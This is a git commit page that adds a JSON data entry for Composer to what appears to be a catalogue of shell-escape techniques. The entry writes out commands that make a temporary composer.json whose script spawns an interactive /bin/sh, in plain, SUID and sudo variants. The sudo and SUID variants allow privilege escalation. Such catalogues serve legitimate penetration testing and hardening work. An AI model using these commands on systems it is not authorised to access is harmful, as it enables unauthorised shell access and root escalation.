add data source for composer
parent
db2c72e536
commit
5895ecfe9f
@ -0,0 +1,19 @@
|
|||||||
|
{
|
||||||
|
"functions": {
|
||||||
|
"shell": [
|
||||||
|
{
|
||||||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\ncomposer --working-dir=$TF run-script x\n"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"limited-suid": [
|
||||||
|
{
|
||||||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\n./composer --working-dir=$TF run-script x\n"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"sudo": [
|
||||||
|
{
|
||||||
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue